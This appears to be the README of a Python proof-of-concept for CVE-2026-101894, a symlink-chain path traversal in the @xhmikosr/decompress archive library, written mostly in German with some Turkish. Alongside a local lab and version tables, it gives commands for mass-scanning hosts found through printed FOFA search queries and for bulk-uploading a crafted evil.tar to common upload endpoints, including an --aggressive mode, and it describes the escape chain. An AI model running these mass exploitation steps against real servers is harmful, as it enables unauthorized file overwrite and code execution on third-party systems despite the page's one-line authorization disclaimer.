
Python-PoC für CVE-2026-101894: Symlink-Ketten-Path-Traversal in @xhmikosr/decompress. Enthält lokales Node-Lab, Lockfile-Versionsscan und Massen-Exploit per evil.tar-Upload.
Python-3-PoC für CVE-2026-101894 — Node.js-Archivextraktion in @xhmikosr/decompress (und dem nicht mehr gepflegten decompress) ermöglicht Lesen/Schreiben außerhalb des Ausgabeverzeichnisses über eine Kette von Symlink-Einträgen. Umgehung der Härtung von CVE-2026-53486. CVSS 3.1 9.1 Critical.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Katalog | https://pocbit.org/pocs/ |
| Paket | @xhmikosr/decompress (gepflegt), decompress (kevva, ungepatcht) |
| API | Standard decompress(input, output) |
| CWE | CWE-22 Path Traversal, CWE-59 Link Following |
| Behoben | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress, tar/zip vb. arşivleri hedef klasöre açarken lexical path kontrolleri uygular; ancak ardışık symlink girdileri ile kernel, sonraki girdileri çıktı dizini dışında çözebilir. Saldırgan kontrollü arşivle config, startup script veya hassas dosyaların üzerine yazabilir / okuyabilir → RCE senaryosu (CI, container, upload+extract servisleri).
@xhmikosr/decompress için yama: 10.2.2 ve 11.1.4. Eski decompress paketi 4.2.1’e kadar aynı sınıfta ve yama almıyor — @xhmikosr/[email protected]+’e geçin.
| Modus | Zweck |
|---|---|
--lab | Installiert 11.1.3 in lab/, verifiziert Schreiben nach außen mit evil.tar-Symlink-Kette |
--write-evil-tar | Schreibt das Payload-Archiv auf die Festplatte (Marker POCBIT-101894-ESCAPED) |
check | package.json / Lockfile auf Remote-Ziel → Version ≤ riskant? |
exploit | POST mit Symlink-Chain-evil.tar an gängige Upload-Pfade (Mass Bulk) |
| mass | --list + -j; hits.txt / exploited.txt |
Der Remote-Exploit beweist nicht, dass der Server das Archiv tatsächlich mit decompress entpackt; 2xx-Upload-Annahme + schwacher Versions-Fingerprint gelten als exploited. Für einen eindeutigen Beweis --lab verwenden.
hits.txt vs. exploited.txt (häufiger Fall)| Phase | Was es beweist |
|---|---|
| check → hits.txt | /package.json oder /package-lock.json ist offen und enthält schwaches decompress |
| exploit → exploited.txt | Mindestens eine der vom PoC getesteten allgemeinen Upload-URLs lieferte HTTP 2xx |
In der FOFA-Express-Liste sind 500 Scans → 2 Hits normal. 2 Hits + 0 Exploits (vulnerable_dep_no_upload_endpoint) ist ebenfalls normal: Dependency-Leak ≠ öffentlich zugänglicher Archiv-Upload. Für die Ausnutzung dieser CVE muss die Anwendung ein nicht vertrauenswürdiges Archiv mit decompress() öffnen; bei HID / zufälligen :8088-Seiten fehlen die 8–11 Standardpfade des PoC meist.
# Zincir kanıtı (lokal)
python poc.py --lab
# Hit’ler: sadece bağımlılık + upload denemesi
python poc.py --list hits.txt --mode exploit -j 2
# Beklenen: upload_ok=0, status vulnerable_dep_no_upload_endpoint
| Paket | Anfällig | Gepatcht |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | keine — migrieren |
cd CVE-2026-101894
pip install -r requirements.txt
Lab: Node.js + npm im PATH (Linux/macOS empfohlen für Symlink-Extract-Verhalten).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Flag | Bedeutung |
|---|---|
--lab | Lokales Node-Extraktions-PoC |
--aggressive | Exploit auch ohne offengelegtes anfälliges Lockfile |
--upload-paths | Benutzerdefinierte, kommagetrennte POST-Pfade |
--exploited-list | Ziele, bei denen der Upload 2xx zurückgab |
Symlink-Kette (vereinfacht):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt mit Marker-PayloadEntspricht der Symlink-Chain-Bypass-Klasse, die in den Release Notes zu 11.1.4 beschrieben wird (realpath / Containment-Fix).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
Die Upload/Zip-FOFA-Dork-Liste (fofa_results_1000) eignet sich besser als Exploit-Oberfläche als die Express-only-500-Liste; dennoch gilt Hit = Lockfile + schwaches decompress, Exploit = Upload 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Lockfile selten öffentlich in Prod; der Check findet oft Staging, CI-Artefakte, fehlkonfiguriertes Static Hosting.)
Testen Sie nur Systeme, für deren Bewertung Sie autorisiert sind. Laden Sie keine bösartigen Archive auf Produktionsdienste Dritter hoch.
CVE-2026-101894 PoC: @xhmikosr/decompress symlink-chain archive path traversal (bypass CVE-2026-53486). Node lab + lockfile scan + mass evil.tar upload exploit. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894